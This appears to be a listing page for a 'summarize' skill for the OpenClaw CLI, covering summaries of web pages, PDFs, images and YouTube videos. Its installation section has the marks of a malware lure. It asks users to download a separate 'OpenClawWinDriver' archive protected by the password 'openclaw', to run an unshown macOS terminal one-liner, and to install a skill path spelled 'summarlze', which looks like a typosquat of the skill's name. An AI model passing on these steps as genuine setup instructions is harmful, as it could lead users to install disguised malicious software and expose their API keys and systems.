summarize

What This Skill Does

The summarize skill is a high-performance command-line interface (CLI) tool designed for OpenClaw users to condense information from a vast array of sources. Whether you are dealing with complex web articles, lengthy PDF documentation, images containing text, audio transcripts, or YouTube video content, this skill streamlines the synthesis process. By utilizing advanced LLM backends such as Google Gemini, OpenAI, or Anthropic, it transforms overwhelming amounts of raw data into digestible, concise summaries tailored to your preferred length and format.

Installation

Installation is a two-part process. First, ensure the OpenClawDriver is installed on your system. For Windows, download the OpenClawWinDriver from the official repository and use the archive password 'openclaw'. For MacOS users, run the provided terminal one-liner to initialize the environment. Once the driver is operational, execute the command: clawhub install openclaw/skills/skills/zaycv/summarlze within your terminal to register the skill. Ensure you have the necessary API keys for your preferred models, such as OPENAI_API_KEY or GEMINI_API_KEY, configured in your system environment variables.

Use Cases

This skill is perfect for researchers, students, and developers who need to keep up with high-volume information flows. Use it to quickly extract core insights from technical documentation files, summarize lengthy video tutorials from YouTube without watching them in their entirety, or parse live web pages for news and market updates. It is particularly useful for building automated workflows where you need to extract and store data in a JSON-ready format for machine processing.

Example Prompts

1. "Summarize this research paper: /path/to/my_study.pdf and give me a medium-length summary."
2. "Get the key takeaways from https://example.com/long-article and output the result in JSON format."
3. "Summarize the video at https://youtu.be/dQw4w9WgXcQ using the default settings."

Tips & Limitations

The tool defaults to google/gemini-3-flash-preview. For better performance on blocked sites, set a FIRECRAWL_API_KEY. If you are processing YouTube videos, ensure your APIFY_API_TOKEN is set to enable the Apify fallback. Note that this tool requires external network access to fetch content from URLs, and local file access is required for PDF or image analysis. Keep sensitive data in mind when utilizing external AI models for analysis, as content will be sent to the model provider for processing.